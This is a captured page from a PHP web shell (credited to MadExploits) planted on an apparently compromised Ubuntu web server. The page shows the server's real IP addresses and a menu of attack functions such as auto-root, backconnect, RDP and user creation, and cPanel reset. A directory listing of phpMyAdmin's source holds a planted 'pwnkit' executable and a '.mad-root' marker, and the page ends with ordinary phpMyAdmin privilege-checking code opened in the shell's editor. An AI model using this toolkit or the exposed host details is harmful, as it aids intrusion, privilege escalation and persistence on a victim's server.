Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 18.219.195.35
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
restaurants /
var /
phpmyadmin /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
Advisory
[ DIR ]
drwxr-xr-x
Bookmarks
[ DIR ]
drwxr-xr-x
Charsets
[ DIR ]
drwxr-xr-x
Command
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
ConfigStorage
[ DIR ]
drwxr-xr-x
Container
[ DIR ]
drwxr-xr-x
Controllers
[ DIR ]
drwxr-xr-x
Crypto
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Dbal
[ DIR ]
drwxr-xr-x
Display
[ DIR ]
drwxr-xr-x
Engines
[ DIR ]
drwxr-xr-x
Error
[ DIR ]
drwxr-xr-x
Exceptions
[ DIR ]
drwxr-xr-x
Export
[ DIR ]
drwxr-xr-x
Favorites
[ DIR ]
drwxr-xr-x
Gis
[ DIR ]
drwxr-xr-x
Html
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Identifiers
[ DIR ]
drwxr-xr-x
Image
[ DIR ]
drwxr-xr-x
Import
[ DIR ]
drwxr-xr-x
Navigation
[ DIR ]
drwxr-xr-x
Partitioning
[ DIR ]
drwxr-xr-x
Plugins
[ DIR ]
drwxr-xr-x
Properties
[ DIR ]
drwxr-xr-x
Providers
[ DIR ]
drwxr-xr-x
Query
[ DIR ]
drwxr-xr-x
Replication
[ DIR ]
drwxr-xr-x
Routing
[ DIR ]
drwxr-xr-x
Server
[ DIR ]
drwxr-xr-x
Setup
[ DIR ]
drwxr-xr-x
Table
[ DIR ]
drwxr-xr-x
Theme
[ DIR ]
drwxr-xr-x
Tracking
[ DIR ]
drwxr-xr-x
Triggers
[ DIR ]
drwxr-xr-x
Twig
[ DIR ]
drwxr-xr-x
Utils
[ DIR ]
drwxr-xr-x
WebAuthn
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
Application.php
6.31
KB
-rw-r--r--
BrowseForeigners.php
10.24
KB
-rw-r--r--
Cache.php
1.44
KB
-rw-r--r--
Charsets.php
7.08
KB
-rw-r--r--
Column.php
363
B
-rw-r--r--
ColumnFull.php
500
B
-rw-r--r--
Config.php
38.1
KB
-rw-r--r--
Console.php
3.14
KB
-rw-r--r--
Core.php
22.22
KB
-rw-r--r--
CreateAddField.php
14.6
KB
-rw-r--r--
Current.php
228
B
-rw-r--r--
DatabaseInterface.php
66.01
KB
-rw-r--r--
DbTableExists.php
1.4
KB
-rw-r--r--
EditField.php
495
B
-rw-r--r--
Encoding.php
7.97
KB
-rw-r--r--
FieldMetadata.php
10.64
KB
-rw-r--r--
File.php
19.72
KB
-rw-r--r--
FileListing.php
3.04
KB
-rw-r--r--
FlashMessages.php
1.23
KB
-rw-r--r--
Font.php
4.26
KB
-rw-r--r--
Footer.php
6.82
KB
-rw-r--r--
Git.php
18.5
KB
-rw-r--r--
Header.php
19.81
KB
-rw-r--r--
Index.php
14.45
KB
-rw-r--r--
IndexColumn.php
4.7
KB
-rw-r--r--
InsertEdit.php
73.25
KB
-rw-r--r--
InsertEditColumn.php
1.96
KB
-rw-r--r--
InternalRelations.php
17
KB
-rw-r--r--
IpAllowDeny.php
9
KB
-rw-r--r--
Language.php
4.12
KB
-rw-r--r--
LanguageManager.php
22.27
KB
-rw-r--r--
Linter.php
4.89
KB
-rw-r--r--
ListDatabase.php
4.93
KB
-rw-r--r--
Logging.php
2.79
KB
-rw-r--r--
Menu.php
19.9
KB
-rw-r--r--
Message.php
14.58
KB
-rw-r--r--
Mime.php
893
B
-rw-r--r--
Normalization.php
39.54
KB
-rw-r--r--
OpenDocument.php
8.78
KB
-rw-r--r--
Operations.php
34.63
KB
-rw-r--r--
ParseAnalyze.php
2.23
KB
-rw-r--r--
Pdf.php
3.89
KB
-rw-r--r--
Plugins.php
22.28
KB
-rw-r--r--
Profiling.php
2.17
KB
-rw-r--r--
Release.php
298
B
-rw-r--r--
ResponseRenderer.php
13.03
KB
-rw-r--r--
Sanitize.php
8.62
KB
-rw-r--r--
Scripts.php
3.7
KB
-rw-r--r--
Session.php
7.88
KB
-rw-r--r--
ShowGrants.php
2.06
KB
-rw-r--r--
Sql.php
60.06
KB
-rw-r--r--
SqlQueryForm.php
6.93
KB
-rw-r--r--
StorageEngine.php
15.08
KB
-rw-r--r--
SystemColumn.php
267
B
-rw-r--r--
SystemDatabase.php
4.62
KB
-rw-r--r--
Template.php
3.98
KB
-rw-r--r--
Transformations.php
17.2
KB
-rw-r--r--
TwoFactor.php
7.61
KB
-rw-r--r--
Types.php
23.88
KB
-rw-r--r--
UniqueCondition.php
8.26
KB
-rw-r--r--
Url.php
10.54
KB
-rw-r--r--
UrlRedirector.php
1.43
KB
-rw-r--r--
UserPassword.php
8.25
KB
-rw-r--r--
UserPreferences.php
10.22
KB
-rw-r--r--
UserPrivileges.php
520
B
-rw-r--r--
UserPrivilegesFactory.php
8.61
KB
-rw-r--r--
Util.php
68.74
KB
-rw-r--r--
Version.php
554
B
-rw-r--r--
VersionInformation.php
7.18
KB
-rw-r--r--
ZipExtension.php
10.01
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : UserPrivilegesFactory.php
<?php declare(strict_types=1); namespace PhpMyAdmin; use PhpMyAdmin\Query\Utilities; use PhpMyAdmin\Utils\SessionCache; use function mb_substr; use function preg_match; use function preg_replace; use function str_contains; /** * Get user's global privileges and some db-specific privileges */ class UserPrivilegesFactory { public function __construct(private DatabaseInterface $dbi) { } /** * Check if user has required privileges for * performing 'Adjust privileges' operations */ public function checkRequiredPrivilegesForAdjust(UserPrivileges $userPrivileges, ShowGrants $showGrants): void { // '... ALL PRIVILEGES ON *.* ...' OR '... ALL PRIVILEGES ON `mysql`.* ..' // OR // SELECT, INSERT, UPDATE, DELETE .... ON *.* OR `mysql`.* if ( $showGrants->grants !== 'ALL' && $showGrants->grants !== 'ALL PRIVILEGES' && ! str_contains($showGrants->grants, 'SELECT, INSERT, UPDATE, DELETE') ) { return; } if ($showGrants->dbName === '*' && $showGrants->tableName === '*') { $userPrivileges->column = true; $userPrivileges->database = true; $userPrivileges->routines = true; $userPrivileges->table = true; if ($showGrants->grants === 'ALL PRIVILEGES' || $showGrants->grants === 'ALL') { $userPrivileges->isReload = true; } } // check for specific tables in `mysql` db // Ex. '... ALL PRIVILEGES on `mysql`.`columns_priv` .. ' if ($showGrants->dbName !== 'mysql') { return; } switch ($showGrants->tableName) { case 'columns_priv': $userPrivileges->column = true; break; case 'db': $userPrivileges->database = true; break; case 'procs_priv': $userPrivileges->routines = true; break; case 'tables_priv': $userPrivileges->table = true; break; case '*': $userPrivileges->column = true; $userPrivileges->database = true; $userPrivileges->routines = true; $userPrivileges->table = true; break; default: } } /** * sets privilege information extracted from SHOW GRANTS result * * Detection for some CREATE privilege. * * Since MySQL 4.1.2, we can easily detect current user's grants using $userlink * (no control user needed) and we don't have to try any other method for * detection * * @todo fix to get really all privileges, not only explicitly defined for this user * from MySQL manual: (https://dev.mysql.com/doc/refman/5.0/en/show-grants.html) * SHOW GRANTS displays only the privileges granted explicitly to the named * account. Other privileges might be available to the account, but they are not * displayed. For example, if an anonymous account exists, the named account * might be able to use its privileges, but SHOW GRANTS will not display them. */ private function analyseShowGrant(): UserPrivileges { if (SessionCache::has('is_create_db_priv')) { return new UserPrivileges( SessionCache::get('db_priv'), SessionCache::get('table_priv'), SessionCache::get('col_priv'), SessionCache::get('proc_priv'), SessionCache::get('is_reload_priv'), SessionCache::get('is_create_db_priv'), SessionCache::get('db_to_create'), SessionCache::get('dbs_to_test'), ); } $showGrantsResult = $this->dbi->tryQuery('SHOW GRANTS'); if (! $showGrantsResult) { return new UserPrivileges(databasesToTest: Utilities::getSystemSchemas()); } $userPrivileges = new UserPrivileges(databasesToTest: Utilities::getSystemSchemas()); $re0 = '(^|(\\\\\\\\)+|[^\\\\])'; // non-escaped wildcards $re1 = '(^|[^\\\\])(\\\)+'; // escaped wildcards while ($showGrants = $showGrantsResult->fetchValue()) { $showGrants = new ShowGrants($showGrants); if ($showGrants->dbName === '*') { if ($showGrants->grants !== 'USAGE') { $userPrivileges->databasesToTest = false; } } elseif ($userPrivileges->databasesToTest !== false) { $userPrivileges->databasesToTest[] = $showGrants->dbName; } if (str_contains($showGrants->grants, 'RELOAD')) { $userPrivileges->isReload = true; } // check for the required privileges for adjust $this->checkRequiredPrivilegesForAdjust($userPrivileges, $showGrants); /** * @todo if we find CREATE VIEW but not CREATE, do not offer * the create database dialog box */ if ( $showGrants->grants !== 'ALL' && $showGrants->grants !== 'ALL PRIVILEGES' && $showGrants->grants !== 'CREATE' && ! str_contains($showGrants->grants, 'CREATE,') ) { continue; } if ($showGrants->dbName === '*') { // a global CREATE privilege $userPrivileges->isCreateDatabase = true; $userPrivileges->isReload = true; $userPrivileges->databaseToCreate = ''; // @todo we should not break here, cause GRANT ALL *.* // could be revoked by a later rule like GRANT SELECT ON db.* break; } $dbNameToTest = Util::backquote($showGrants->dbName); if ($userPrivileges->isCreateDatabase) { // no need for any more tests if we already know this continue; } // does this db exist? if ( (! preg_match('/' . $re0 . '%|_/', $showGrants->dbName) || preg_match('/\\\\%|\\\\_/', $showGrants->dbName)) && ($this->dbi->tryQuery( 'USE ' . preg_replace( '/' . $re1 . '(%|_)/', '\\1\\3', $dbNameToTest, ), ) || mb_substr($this->dbi->getError(), 1, 4) == 1044) ) { continue; } /** * Do not handle the underscore wildcard * (this case must be rare anyway) */ $userPrivileges->databaseToCreate = preg_replace('/' . $re0 . '%/', '\\1', $showGrants->dbName); $userPrivileges->databaseToCreate = preg_replace( '/' . $re1 . '(%|_)/', '\\1\\3', $userPrivileges->databaseToCreate, ); $userPrivileges->isCreateDatabase = true; /** * @todo collect {@see UserPrivileges::$databaseToCreate} into an array, * to display a drop-down in the "Create database" dialog */ // we don't break, we want all possible databases //break; } // must also cacheUnset() them in // PhpMyAdmin\Plugins\Auth\AuthenticationCookie SessionCache::set('is_create_db_priv', $userPrivileges->isCreateDatabase); SessionCache::set('is_reload_priv', $userPrivileges->isReload); SessionCache::set('db_to_create', $userPrivileges->databaseToCreate); SessionCache::set('dbs_to_test', $userPrivileges->databasesToTest); SessionCache::set('proc_priv', $userPrivileges->routines); SessionCache::set('table_priv', $userPrivileges->table); SessionCache::set('col_priv', $userPrivileges->column); SessionCache::set('db_priv', $userPrivileges->database); return $userPrivileges; } /** * Get user's global privileges and some db-specific privileges */ public function getPrivileges(): UserPrivileges { $username = ''; $current = $this->dbi->getCurrentUserAndHost(); if ($current !== []) { [$username] = $current; } // If MySQL is started with --skip-grant-tables if ($username === '') { return new UserPrivileges( database: true, table: true, column: true, routines: true, isReload: true, isCreateDatabase: true, ); } return $this->analyseShowGrant(); } }
Close